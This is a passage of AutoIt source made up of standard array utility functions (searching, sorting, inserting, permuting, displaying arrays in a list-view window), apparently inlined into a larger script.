  3853.         __array_getnext($in, $ir, $ileft, $itotal, $aidx)
  3854.         For $i = 0 To $iset - 1
  3855.             $aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim
  3856.         Next
  3857.         If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1)
  3858.         $icount += 1
  3859.     WEnd
  3860.     Return $aresult
  3861. EndFunc
  3862.  
  3863. Func _arrayconcatenate(ByRef $avarraytarget, Const ByRef $avarraysource, $istart = 0)
  3864.     If NOT IsArray($avarraytarget) Then Return SetError(1, 0, 0)
  3865.     If NOT IsArray($avarraysource) Then Return SetError(2, 0, 0)
  3866.     If UBound($avarraytarget, 0) <> 1 Then
  3867.         If UBound($avarraysource, 0) <> 1 Then Return SetError(5, 0, 0)
  3868.         Return SetError(3, 0, 0)
  3869.     EndIf
  3870.     If UBound($avarraysource, 0) <> 1 Then Return SetError(4, 0, 0)
  3871.     Local $iuboundtarget = UBound($avarraytarget) - $istart, $iuboundsource = UBound($avarraysource)
  3872.     ReDim $avarraytarget[$iuboundtarget + $iuboundsource]
  3873.     For $i = $istart To $iuboundsource - 1
  3874.         $avarraytarget[$iuboundtarget + $i] = $avarraysource[$i]
  3875.     Next
  3876.     Return $iuboundtarget + $iuboundsource
  3877. EndFunc
  3878.  
  3879. Func _arraycreate($v_0, $v_1 = 0, $v_2 = 0, $v_3 = 0, $v_4 = 0, $v_5 = 0, $v_6 = 0, $v_7 = 0, $v_8 = 0, $v_9 = 0, $v_10 = 0, $v_11 = 0, $v_12 = 0, $v_13 = 0, $v_14 = 0, $v_15 = 0, $v_16 = 0, $v_17 = 0, $v_18 = 0, $v_19 = 0, $v_20 = 0)
  3880.     Local $av_array[21] = [$v_0, $v_1, $v_2, $v_3, $v_4, $v_5, $v_6, $v_7, $v_8, $v_9, $v_10, $v_11, $v_12, $v_13, $v_14, $v_15, $v_16, $v_17, $v_18, $v_19, $v_20]
  3881.     ReDim $av_array[@NumParams]
  3882.     Return $av_array
  3883. EndFunc
  3884.  
  3885. Func _arraydelete(ByRef $avarray, $ielement)
  3886.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  3887.     Local $iubound = UBound($avarray, 1) - 1
  3888.     If NOT $iubound Then
  3889.         $avarray = ""
  3890.         Return 0
  3891.     EndIf
  3892.     If $ielement < 0 Then $ielement = 0
  3893.     If $ielement > $iubound Then $ielement = $iubound
  3894.     Switch UBound($avarray, 0)
  3895.         Case 1
  3896.             For $i = $ielement To $iubound - 1
  3897.                 $avarray[$i] = $avarray[$i + 1]
  3898.             Next
  3899.             ReDim $avarray[$iubound]
  3900.         Case 2
  3901.             Local $isubmax = UBound($avarray, 2) - 1
  3902.             For $i = $ielement To $iubound - 1
  3903.                 For $j = 0 To $isubmax
  3904.                     $avarray[$i][$j] = $avarray[$i + 1][$j]
  3905.                 Next
  3906.             Next
  3907.             ReDim $avarray[$iubound][$isubmax + 1]
  3908.         Case Else
  3909.             Return SetError(3, 0, 0)
  3910.     EndSwitch
  3911.     Return $iubound
  3912. EndFunc
  3913.  
  3914. Func _arraydisplay(Const ByRef $avarray, $stitle = "Array: ListView Display", $iitemlimit = -1, $itranspose = 0, $sseparator = "", $sreplace = "|", $sheader = "")
  3915.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  3916.     Local $idimension = UBound($avarray, 0), $iubound = UBound($avarray, 1) - 1, $isubmax = UBound($avarray, 2) - 1
  3917.     If $idimension > 2 Then Return SetError(2, 0, 0)
  3918.     If $sseparator = "" Then $sseparator = Chr(124)
  3919.     If _arraysearch($avarray, $sseparator, 0, 0, 0, 1) <> -1 Then
  3920.         For $x = 1 To 255
  3921.             If $x >= 32 AND $x <= 127 Then ContinueLoop
  3922.             Local $sfind = _arraysearch($avarray, Chr($x), 0, 0, 0, 1)
  3923.             If $sfind = -1 Then
  3924.                 $sseparator = Chr($x)
  3925.                 ExitLoop
  3926.             EndIf
  3927.         Next
  3928.     EndIf
  3929.     Local $vtmp, $ibuffer = 4094
  3930.     Local $icollimit = 250
  3931.     Local $ioneventmode = Opt("GUIOnEventMode", 0), $sdataseparatorchar = Opt("GUIDataSeparatorChar", $sseparator)
  3932.     If $isubmax < 0 Then $isubmax = 0
  3933.     If $itranspose Then
  3934.         $vtmp = $iubound
  3935.         $iubound = $isubmax
  3936.         $isubmax = $vtmp
  3937.     EndIf
  3938.     If $isubmax > $icollimit Then $isubmax = $icollimit
  3939.     If $iitemlimit < 1 Then $iitemlimit = $iubound
  3940.     If $iubound > $iitemlimit Then $iubound = $iitemlimit
  3941.     If $sheader = "" Then
  3942.         $sheader = "Row  "
  3943.         For $i = 0 To $isubmax
  3944.             $sheader &= $sseparator & "Col " & $i
  3945.         Next
  3946.     EndIf
  3947.     Local $avarraytext[$iubound + 1]
  3948.     For $i = 0 To $iubound
  3949.         $avarraytext[$i] = "[" & $i & "]"
  3950.         For $j = 0 To $isubmax
  3951.             If $idimension = 1 Then
  3952.                 If $itranspose Then
  3953.                     $vtmp = $avarray[$j]
  3954.                 Else
  3955.                     $vtmp = $avarray[$i]
  3956.                 EndIf
  3957.             Else
  3958.                 If $itranspose Then
  3959.                     $vtmp = $avarray[$j][$i]
  3960.                 Else
  3961.                     $vtmp = $avarray[$i][$j]
  3962.                 EndIf
  3963.             EndIf
  3964.             $vtmp = StringReplace($vtmp, $sseparator, $sreplace, 0, 1)
  3965.             If StringLen($vtmp) > $ibuffer Then $vtmp = StringLeft($vtmp, $ibuffer)
  3966.             $avarraytext[$i] &= $sseparator & $vtmp
  3967.         Next
  3968.     Next
  3969.     Local Const $_arrayconstant_gui_dockborders = 102
  3970.     Local Const $_arrayconstant_gui_dockbottom = 64
  3971.     Local Const $_arrayconstant_gui_dockheight = 512
  3972.     Local Const $_arrayconstant_gui_dockleft = 2
  3973.     Local Const $_arrayconstant_gui_dockright = 4
  3974.     Local Const $_arrayconstant_gui_event_close = -3
  3975.     Local Const $_arrayconstant_lvm_getcolumnwidth = (4096 + 29)
  3976.     Local Const $_arrayconstant_lvm_getitemcount = (4096 + 4)
  3977.     Local Const $_arrayconstant_lvm_getitemstate = (4096 + 44)
  3978.     Local Const $_arrayconstant_lvm_setextendedlistviewstyle = (4096 + 54)
  3979.     Local Const $_arrayconstant_lvs_ex_fullrowselect = 32
  3980.     Local Const $_arrayconstant_lvs_ex_gridlines = 1
  3981.     Local Const $_arrayconstant_lvs_showselalways = 8
  3982.     Local Const $_arrayconstant_ws_ex_clientedge = 512
  3983.     Local Const $_arrayconstant_ws_maximizebox = 65536
  3984.     Local Const $_arrayconstant_ws_minimizebox = 131072
  3985.     Local Const $_arrayconstant_ws_sizebox = 262144
  3986.     Local $iwidth = 640, $iheight = 480
  3987.     Local $hgui = GUICreate($stitle, $iwidth, $iheight, Default, Default, BitOR($_arrayconstant_ws_sizebox, $_arrayconstant_ws_minimizebox, $_arrayconstant_ws_maximizebox))
  3988.     Local $aiguisize = WinGetClientSize($hgui)
  3989.     Local $hlistview = GUICtrlCreateListView($sheader, 0, 0, $aiguisize[0], $aiguisize[1] - 26, $_arrayconstant_lvs_showselalways)
  3990.     Local $hcopy = GUICtrlCreateButton("Copy Selected", 3, $aiguisize[1] - 23, $aiguisize[0] - 6, 20)
  3991.     GUICtrlSetResizing($hlistview, $_arrayconstant_gui_dockborders)
  3992.     GUICtrlSetResizing($hcopy, $_arrayconstant_gui_dockleft + $_arrayconstant_gui_dockright + $_arrayconstant_gui_dockbottom + $_arrayconstant_gui_dockheight)
  3993.     GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_gridlines, $_arrayconstant_lvs_ex_gridlines)
  3994.     GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_lvs_ex_fullrowselect, $_arrayconstant_lvs_ex_fullrowselect)
  3995.     GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_setextendedlistviewstyle, $_arrayconstant_ws_ex_clientedge, $_arrayconstant_ws_ex_clientedge)
  3996.     For $i = 0 To $iubound
  3997.         GUICtrlCreateListViewItem($avarraytext[$i], $hlistview)
  3998.     Next
  3999.     $iwidth = 0
  4000.     For $i = 0 To $isubmax + 1
  4001.         $iwidth += GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getcolumnwidth, $i, 0)
  4002.     Next
  4003.     If $iwidth < 250 Then $iwidth = 230
  4004.     $iwidth += 20
  4005.     If $iwidth > @DesktopWidth Then $iwidth = @DesktopWidth - 100
  4006.     WinMove($hgui, "", (@DesktopWidth - $iwidth) / 2, Default, $iwidth)
  4007.     GUISetState(@SW_SHOW, $hgui)
  4008.     While 1
  4009.         Switch GUIGetMsg()
  4010.             Case $_arrayconstant_gui_event_close
  4011.                 ExitLoop
  4012.             Case $hcopy
  4013.                 Local $sclip = ""
  4014.                 Local $aicuritems[1] = [0]
  4015.                 For $i = 0 To GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getitemcount, 0, 0)
  4016.                     If GUICtrlSendMsg($hlistview, $_arrayconstant_lvm_getitemstate, $i, 2) Then
  4017.                         $aicuritems[0] += 1
  4018.                         ReDim $aicuritems[$aicuritems[0] + 1]
  4019.                         $aicuritems[$aicuritems[0]] = $i
  4020.                     EndIf
  4021.                 Next
  4022.                 If NOT $aicuritems[0] Then
  4023.                     For $sitem In $avarraytext
  4024.                         $sclip &= $sitem & @CRLF
  4025.                     Next
  4026.                 Else
  4027.                     For $i = 1 To UBound($aicuritems) - 1
  4028.                         $sclip &= $avarraytext[$aicuritems[$i]] & @CRLF
  4029.                     Next
  4030.                 EndIf
  4031.                 ClipPut($sclip)
  4032.         EndSwitch
  4033.     WEnd
  4034.     GUIDelete($hgui)
  4035.     Opt("GUIOnEventMode", $ioneventmode)
  4036.     Opt("GUIDataSeparatorChar", $sdataseparatorchar)
  4037.     Return 1
  4038. EndFunc
  4039.  
  4040. Func _arrayfindall(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $icompare = 0, $isubitem = 0)
  4041.     $istart = _arraysearch($avarray, $vvalue, $istart, $iend, $icase, $icompare, 1, $isubitem)
  4042.     If @error Then Return SetError(@error, 0, -1)
  4043.     Local $iindex = 0, $avresult[UBound($avarray)]
  4044.     Do
  4045.         $avresult[$iindex] = $istart
  4046.         $iindex += 1
  4047.         $istart = _arraysearch($avarray, $vvalue, $istart + 1, $iend, $icase, $icompare, 1, $isubitem)
  4048.     Until @error
  4049.     ReDim $avresult[$iindex]
  4050.     Return $avresult
  4051. EndFunc
  4052.  
  4053. Func _arrayinsert(ByRef $avarray, $ielement, $vvalue = "")
  4054.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  4055.     If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
  4056.     Local $iubound = UBound($avarray) + 1
  4057.     ReDim $avarray[$iubound]
  4058.     For $i = $iubound - 1 To $ielement + 1 Step -1
  4059.         $avarray[$i] = $avarray[$i - 1]
  4060.     Next
  4061.     $avarray[$ielement] = $vvalue
  4062.     Return $iubound
  4063. EndFunc
  4064.  
  4065. Func _arraymax(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
  4066.     Local $iresult = _arraymaxindex($avarray, $icompnumeric, $istart, $iend)
  4067.     If @error Then Return SetError(@error, 0, "")
  4068.     Return $avarray[$iresult]
  4069. EndFunc
  4070.  
  4071. Func _arraymaxindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
  4072.     If NOT IsArray($avarray) OR UBound($avarray, 0) <> 1 Then Return SetError(1, 0, -1)
  4073.     If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1)
  4074.     Local $iubound = UBound($avarray) - 1
  4075.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  4076.     If $istart < 0 Then $istart = 0
  4077.     If $istart > $iend Then Return SetError(2, 0, -1)
  4078.     Local $imaxindex = $istart
  4079.     If $icompnumeric Then
  4080.         For $i = $istart To $iend
  4081.             If Number($avarray[$imaxindex]) < Number($avarray[$i]) Then $imaxindex = $i
  4082.         Next
  4083.     Else
  4084.         For $i = $istart To $iend
  4085.             If $avarray[$imaxindex] < $avarray[$i] Then $imaxindex = $i
  4086.         Next
  4087.     EndIf
  4088.     Return $imaxindex
  4089. EndFunc
  4090.  
  4091. Func _arraymin(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
  4092.     Local $iresult = _arrayminindex($avarray, $icompnumeric, $istart, $iend)
  4093.     If @error Then Return SetError(@error, 0, "")
  4094.     Return $avarray[$iresult]
  4095. EndFunc
  4096.  
  4097. Func _arrayminindex(Const ByRef $avarray, $icompnumeric = 0, $istart = 0, $iend = 0)
  4098.     If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  4099.     If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, -1)
  4100.     Local $iubound = UBound($avarray) - 1
  4101.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  4102.     If $istart < 0 Then $istart = 0
  4103.     If $istart > $iend Then Return SetError(2, 0, -1)
  4104.     Local $iminindex = $istart
  4105.     If $icompnumeric Then
  4106.         For $i = $istart To $iend
  4107.             If Number($avarray[$iminindex]) > Number($avarray[$i]) Then $iminindex = $i
  4108.         Next
  4109.     Else
  4110.         For $i = $istart To $iend
  4111.             If $avarray[$iminindex] > $avarray[$i] Then $iminindex = $i
  4112.         Next
  4113.     EndIf
  4114.     Return $iminindex
  4115. EndFunc
  4116.  
  4117. Func _arraypermute(ByRef $avarray, $sdelim = "")
  4118.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  4119.     If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
  4120.     Local $isize = UBound($avarray), $ifactorial = 1, $aidx[$isize], $aresult[1], $icount = 1
  4121.     For $i = 0 To $isize - 1
  4122.         $aidx[$i] = $i
  4123.     Next
  4124.     For $i = $isize To 1 Step -1
  4125.         $ifactorial *= $i
  4126.     Next
  4127.     ReDim $aresult[$ifactorial + 1]
  4128.     $aresult[0] = $ifactorial
  4129.     __array_exeterinternal($avarray, 0, $isize, $sdelim, $aidx, $aresult, $icount)
  4130.     Return $aresult
  4131. EndFunc
  4132.  
  4133. Func _arraypop(ByRef $avarray)
  4134.     If (NOT IsArray($avarray)) Then Return SetError(1, 0, "")
  4135.     If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, "")
  4136.     Local $iubound = UBound($avarray) - 1, $slastval = $avarray[$iubound]
  4137.     If NOT $iubound Then
  4138.         $avarray = ""
  4139.     Else
  4140.         ReDim $avarray[$iubound]
  4141.     EndIf
  4142.     Return $slastval
  4143. EndFunc
  4144.  
  4145. Func _arraypush(ByRef $avarray, $vvalue, $idirection = 0)
  4146.     If (NOT IsArray($avarray)) Then Return SetError(1, 0, 0)
  4147.     If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, 0)
  4148.     Local $iubound = UBound($avarray) - 1
  4149.     If IsArray($vvalue) Then
  4150.         Local $iubounds = UBound($vvalue)
  4151.         If ($iubounds - 1) > $iubound Then Return SetError(2, 0, 0)
  4152.         If $idirection Then
  4153.             For $i = $iubound To $iubounds Step -1
  4154.                 $avarray[$i] = $avarray[$i - $iubounds]
  4155.             Next
  4156.             For $i = 0 To $iubounds - 1
  4157.                 $avarray[$i] = $vvalue[$i]
  4158.             Next
  4159.         Else
  4160.             For $i = 0 To $iubound - $iubounds
  4161.                 $avarray[$i] = $avarray[$i + $iubounds]
  4162.             Next
  4163.             For $i = 0 To $iubounds - 1
  4164.                 $avarray[$i + $iubound - $iubounds + 1] = $vvalue[$i]
  4165.             Next
  4166.         EndIf
  4167.     Else
  4168.         If $idirection Then
  4169.             For $i = $iubound To 1 Step -1
  4170.                 $avarray[$i] = $avarray[$i - 1]
  4171.             Next
  4172.             $avarray[0] = $vvalue
  4173.         Else
  4174.             For $i = 0 To $iubound - 1
  4175.                 $avarray[$i] = $avarray[$i + 1]
  4176.             Next
  4177.             $avarray[$iubound] = $vvalue
  4178.         EndIf
  4179.     EndIf
  4180.     Return 1
  4181. EndFunc
  4182.  
  4183. Func _arrayreverse(ByRef $avarray, $istart = 0, $iend = 0)
  4184.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  4185.     If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, 0)
  4186.     Local $vtmp, $iubound = UBound($avarray) - 1
  4187.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  4188.     If $istart < 0 Then $istart = 0
  4189.     If $istart > $iend Then Return SetError(2, 0, 0)
  4190.     For $i = $istart To Int(($istart + $iend - 1) / 2)
  4191.         $vtmp = $avarray[$i]
  4192.         $avarray[$i] = $avarray[$iend]
  4193.         $avarray[$iend] = $vtmp
  4194.         $iend -= 1
  4195.     Next
  4196.     Return 1
  4197. EndFunc
  4198.  
  4199. Func _arraysearch(Const ByRef $avarray, $vvalue, $istart = 0, $iend = 0, $icase = 0, $icompare = 0, $iforward = 1, $isubitem = -1)
  4200.     If NOT IsArray($avarray) Then Return SetError(1, 0, -1)
  4201.     If UBound($avarray, 0) > 2 OR UBound($avarray, 0) < 1 Then Return SetError(2, 0, -1)
  4202.     Local $iubound = UBound($avarray) - 1
  4203.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  4204.     If $istart < 0 Then $istart = 0
  4205.     If $istart > $iend Then Return SetError(4, 0, -1)
  4206.     Local $istep = 1
  4207.     If NOT $iforward Then
  4208.         Local $itmp = $istart
  4209.         $istart = $iend
  4210.         $iend = $itmp
  4211.         $istep = -1
  4212.     EndIf
  4213.     Local $icomptype = False
  4214.     If $icompare = 2 Then
  4215.         $icompare = 0
  4216.         $icomptype = True
  4217.     EndIf
  4218.     Switch UBound($avarray, 0)
  4219.         Case 1
  4220.             If NOT $icompare Then
  4221.                 If NOT $icase Then
  4222.                     For $i = $istart To $iend Step $istep
  4223.                         If $icomptype AND VarGetType($avarray[$i]) <> VarGetType($vvalue) Then ContinueLoop
  4224.                         If $avarray[$i] = $vvalue Then Return $i
  4225.                     Next
  4226.                 Else
  4227.                     For $i = $istart To $iend Step $istep
  4228.                         If $icomptype AND VarGetType($avarray[$i]) <> VarGetType($vvalue) Then ContinueLoop
  4229.                         If $avarray[$i] == $vvalue Then Return $i
  4230.                     Next
  4231.                 EndIf
  4232.             Else
  4233.                 For $i = $istart To $iend Step $istep
  4234.                     If StringInStr($avarray[$i], $vvalue, $icase) > 0 Then Return $i
  4235.                 Next
  4236.             EndIf
  4237.         Case 2
  4238.             Local $iuboundsub = UBound($avarray, 2) - 1
  4239.             If $isubitem > $iuboundsub Then $isubitem = $iuboundsub
  4240.             If $isubitem < 0 Then
  4241.                 $isubitem = 0
  4242.             Else
  4243.                 $iuboundsub = $isubitem
  4244.             EndIf
  4245.             For $j = $isubitem To $iuboundsub
  4246.                 If NOT $icompare Then
  4247.                     If NOT $icase Then
  4248.                         For $i = $istart To $iend Step $istep
  4249.                             If $icomptype AND VarGetType($avarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop
  4250.                             If $avarray[$i][$j] = $vvalue Then Return $i
  4251.                         Next
  4252.                     Else
  4253.                         For $i = $istart To $iend Step $istep
  4254.                             If $icomptype AND VarGetType($avarray[$i][$j]) <> VarGetType($vvalue) Then ContinueLoop
  4255.                             If $avarray[$i][$j] == $vvalue Then Return $i
  4256.                         Next
  4257.                     EndIf
  4258.                 Else
  4259.                     For $i = $istart To $iend Step $istep
  4260.                         If StringInStr($avarray[$i][$j], $vvalue, $icase) > 0 Then Return $i
  4261.                     Next
  4262.                 EndIf
  4263.             Next
  4264.         Case Else
  4265.             Return SetError(7, 0, -1)
  4266.     EndSwitch
  4267.     Return SetError(6, 0, -1)
  4268. EndFunc
  4269.  
  4270. Func _arraysort(ByRef $avarray, $idescending = 0, $istart = 0, $iend = 0, $isubitem = 0)
  4271.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  4272.     Local $iubound = UBound($avarray) - 1
  4273.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  4274.     If $istart < 0 Then $istart = 0
  4275.     If $istart > $iend Then Return SetError(2, 0, 0)
  4276.     Switch UBound($avarray, 0)
  4277.         Case 1
  4278.             __arrayquicksort1d($avarray, $istart, $iend)
  4279.             If $idescending Then _arrayreverse($avarray, $istart, $iend)
  4280.         Case 2
  4281.             Local $isubmax = UBound($avarray, 2) - 1
  4282.             If $isubitem > $isubmax Then Return SetError(3, 0, 0)
  4283.             If $idescending Then
  4284.                 $idescending = -1
  4285.             Else
  4286.                 $idescending = 1
  4287.             EndIf
  4288.             __arrayquicksort2d($avarray, $idescending, $istart, $iend, $isubitem, $isubmax)
  4289.         Case Else
  4290.             Return SetError(4, 0, 0)
  4291.     EndSwitch
  4292.     Return 1
  4293. EndFunc
  4294.  
  4295. Func __arrayquicksort1d(ByRef $avarray, ByRef $istart, ByRef $iend)
  4296.     If $iend <= $istart Then Return
  4297.     Local $vtmp
  4298.     If ($iend - $istart) < 15 Then
  4299.         Local $vcur
  4300.         For $i = $istart + 1 To $iend
  4301.             $vtmp = $avarray[$i]
  4302.             If IsNumber($vtmp) Then
  4303.                 For $j = $i - 1 To $istart Step -1
  4304.                     $vcur = $avarray[$j]
  4305.                     If ($vtmp >= $vcur AND IsNumber($vcur)) OR (NOT IsNumber($vcur) AND StringCompare($vtmp, $vcur) >= 0) Then ExitLoop
  4306.                     $avarray[$j + 1] = $vcur
  4307.                 Next
  4308.             Else
  4309.                 For $j = $i - 1 To $istart Step -1
  4310.                     If (StringCompare($vtmp, $avarray[$j]) >= 0) Then ExitLoop
  4311.                     $avarray[$j + 1] = $avarray[$j]
  4312.                 Next
  4313.             EndIf
  4314.             $avarray[$j + 1] = $vtmp
  4315.         Next
  4316.         Return
  4317.     EndIf
  4318.     Local $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)], $fnum = IsNumber($vpivot)
  4319.     Do
  4320.         If $fnum Then
  4321.             While ($avarray[$l] < $vpivot AND IsNumber($avarray[$l])) OR (NOT IsNumber($avarray[$l]) AND StringCompare($avarray[$l], $vpivot) < 0)
  4322.                 $l += 1
  4323.             WEnd
  4324.             While ($avarray[$r] > $vpivot AND IsNumber($avarray[$r])) OR (NOT IsNumber($avarray[$r]) AND StringCompare($avarray[$r], $vpivot) > 0)
  4325.                 $r -= 1
  4326.             WEnd
  4327.         Else
  4328.             While (StringCompare($avarray[$l], $vpivot) < 0)
  4329.                 $l += 1
  4330.             WEnd
  4331.             While (StringCompare($avarray[$r], $vpivot) > 0)
  4332.                 $r -= 1
  4333.             WEnd
  4334.         EndIf
  4335.         If $l <= $r Then
  4336.             $vtmp = $avarray[$l]
  4337.             $avarray[$l] = $avarray[$r]
  4338.             $avarray[$r] = $vtmp
  4339.             $l += 1
  4340.             $r -= 1
  4341.         EndIf
  4342.     Until $l > $r
  4343.     __arrayquicksort1d($avarray, $istart, $r)
  4344.     __arrayquicksort1d($avarray, $l, $iend)
  4345. EndFunc
  4346.  
  4347. Func __arrayquicksort2d(ByRef $avarray, ByRef $istep, ByRef $istart, ByRef $iend, ByRef $isubitem, ByRef $isubmax)
  4348.     If $iend <= $istart Then Return
  4349.     Local $vtmp, $l = $istart, $r = $iend, $vpivot = $avarray[Int(($istart + $iend) / 2)][$isubitem], $fnum = IsNumber($vpivot)
  4350.     Do
  4351.         If $fnum Then
  4352.             While ($istep * ($avarray[$l][$isubitem] - $vpivot) < 0 AND IsNumber($avarray[$l][$isubitem])) OR (NOT IsNumber($avarray[$l][$isubitem]) AND $istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0)
  4353.                 $l += 1
  4354.             WEnd
  4355.             While ($istep * ($avarray[$r][$isubitem] - $vpivot) > 0 AND IsNumber($avarray[$r][$isubitem])) OR (NOT IsNumber($avarray[$r][$isubitem]) AND $istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0)
  4356.                 $r -= 1
  4357.             WEnd
  4358.         Else
  4359.             While ($istep * StringCompare($avarray[$l][$isubitem], $vpivot) < 0)
  4360.                 $l += 1
  4361.             WEnd
  4362.             While ($istep * StringCompare($avarray[$r][$isubitem], $vpivot) > 0)
  4363.                 $r -= 1
  4364.             WEnd
  4365.         EndIf
  4366.         If $l <= $r Then
  4367.             For $i = 0 To $isubmax
  4368.                 $vtmp = $avarray[$l][$i]
  4369.                 $avarray[$l][$i] = $avarray[$r][$i]
  4370.                 $avarray[$r][$i] = $vtmp
  4371.             Next
  4372.             $l += 1
  4373.             $r -= 1
  4374.         EndIf
  4375.     Until $l > $r
  4376.     __arrayquicksort2d($avarray, $istep, $istart, $r, $isubitem, $isubmax)
  4377.     __arrayquicksort2d($avarray, $istep, $l, $iend, $isubitem, $isubmax)
  4378. EndFunc
  4379.  
  4380. Func _arrayswap(ByRef $vitem1, ByRef $vitem2)
  4381.     Local $vtmp = $vitem1
  4382.     $vitem1 = $vitem2
  4383.     $vitem2 = $vtmp
  4384. EndFunc
  4385.  
  4386. Func _arraytoclip(Const ByRef $avarray, $istart = 0, $iend = 0)
  4387.     Local $sresult = _arraytostring($avarray, @CR, $istart, $iend)
  4388.     If @error Then Return SetError(@error, 0, 0)
  4389.     Return ClipPut($sresult)
  4390. EndFunc
  4391.  
  4392. Func _arraytostring(Const ByRef $avarray, $sdelim = "|", $istart = 0, $iend = 0)
  4393.     If NOT IsArray($avarray) Then Return SetError(1, 0, "")
  4394.     If UBound($avarray, 0) <> 1 Then Return SetError(3, 0, "")
  4395.     Local $sresult, $iubound = UBound($avarray) - 1
  4396.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  4397.     If $istart < 0 Then $istart = 0
  4398.     If $istart > $iend Then Return SetError(2, 0, "")
  4399.     For $i = $istart To $iend
  4400.         $sresult &= $avarray[$i] & $sdelim
  4401.     Next
  4402.     Return StringTrimRight($sresult, StringLen($sdelim))
  4403. EndFunc
  4404.  
  4405. Func _arraytrim(ByRef $avarray, $itrimnum, $idirection = 0, $istart = 0, $iend = 0)
  4406.     If NOT IsArray($avarray) Then Return SetError(1, 0, 0)
  4407.     If UBound($avarray, 0) <> 1 Then Return SetError(2, 0, 0)
  4408.     Local $iubound = UBound($avarray) - 1
  4409.     If $iend < 1 OR $iend > $iubound Then $iend = $iubound
  4410.     If $istart < 0 Then $istart = 0
  4411.     If $istart > $iend Then Return SetError(5, 0, 0)
  4412.     If $idirection Then
  4413.         For $i = $istart To $iend
  4414.             $avarray[$i] = StringTrimRight($avarray[$i], $itrimnum)
  4415.         Next
  4416.     Else
  4417.         For $i = $istart To $iend
  4418.             $avarray[$i] = StringTrimLeft($avarray[$i], $itrimnum)
  4419.         Next
  4420.     EndIf
  4421.     Return 1
  4422. EndFunc
  4423.  
  4424. Func _arrayunique($aarray, $idimension = 1, $ibase = 0, $icase = 0, $vdelim = "|")
  4425.     Local $iubounddim
  4426.     If $vdelim = "|" Then $vdelim = Chr(1)
  4427.     If NOT IsArray($aarray) Then Return SetError(1, 0, 0)
  4428.     If NOT $idimension > 0 Then
  4429.         Return SetError(3, 0, 0)
  4430.     Else
  4431.         $iubounddim = UBound($aarray, 1)
  4432.         If @error Then Return SetError(3, 0, 0)
  4433.         If $idimension > 1 Then
  4434.             Local $aarraytmp[1]
  4435.             For $i = 0 To $iubounddim - 1
  4436.                 _arrayadd($aarraytmp, $aarray[$i][$idimension - 1])
  4437.             Next
  4438.             _arraydelete($aarraytmp, 0)
  4439.         Else
  4440.             If UBound($aarray, 0) = 1 Then
  4441.                 Dim $aarraytmp[1]
  4442.                 For $i = 0 To $iubounddim - 1
  4443.                     _arrayadd($aarraytmp, $aarray[$i])
  4444.                 Next
  4445.                 _arraydelete($aarraytmp, 0)
  4446.             Else
  4447.                 Dim $aarraytmp[1]
  4448.                 For $i = 0 To $iubounddim - 1
  4449.                     _arrayadd($aarraytmp, $aarray[$i][$idimension - 1])
  4450.                 Next
  4451.                 _arraydelete($aarraytmp, 0)
  4452.             EndIf
  4453.         EndIf
  4454.     EndIf
  4455.     Local $shold
  4456.     For $icc = $ibase To UBound($aarraytmp) - 1
  4457.         If NOT StringInStr($vdelim & $shold, $vdelim & $aarraytmp[$icc] & $vdelim, $icase) Then $shold &= $aarraytmp[$icc] & $vdelim
  4458.     Next
  4459.     If $shold Then
  4460.         $aarraytmp = StringSplit(StringTrimRight($shold, StringLen($vdelim)), $vdelim, 1)
  4461.         Return $aarraytmp
  4462.     EndIf
  4463.     Return SetError(2, 0, 0)
  4464. EndFunc
  4465.  
  4466. Func __array_exeterinternal(ByRef $avarray, $istart, $isize, $sdelim, ByRef $aidx, ByRef $aresult, ByRef $icount)
  4467.     If $istart == $isize - 1 Then
  4468.         For $i = 0 To $isize - 1
  4469.             $aresult[$icount] &= $avarray[$aidx[$i]] & $sdelim
  4470.         Next
  4471.         If $sdelim <> "" Then $aresult[$icount] = StringTrimRight($aresult[$icount], 1)
  4472.         $icount += 1
  4473.     Else
  4474.         Local $itemp
  4475.         For $i = $istart To $isize - 1
  4476.             $itemp = $aidx[$i]
  4477.             $aidx[$i] = $aidx[$istart]
  4478.             $aidx[$istart] = $itemp
  4479.             __array_exeterinternal($avarray, $istart + 1, $isize, $sdelim, $aidx, $aresult, $icount)
  4480.             $aidx[$istart] = $aidx[$i]
  4481.             $aidx[$i] = $itemp
  4482.         Next
  4483.     EndIf
  4484. EndFunc
  4485.  
  4486. Func __array_combinations($in, $ir)
  4487.     Local $i_total = 1
  4488.     For $i = $ir To 1 Step -1
  4489.         $i_total *= ($in / $i)
  4490.         $in -= 1
  4491.     Next
  4492.     Return Round($i_total)
  4493. EndFunc
  4494.  
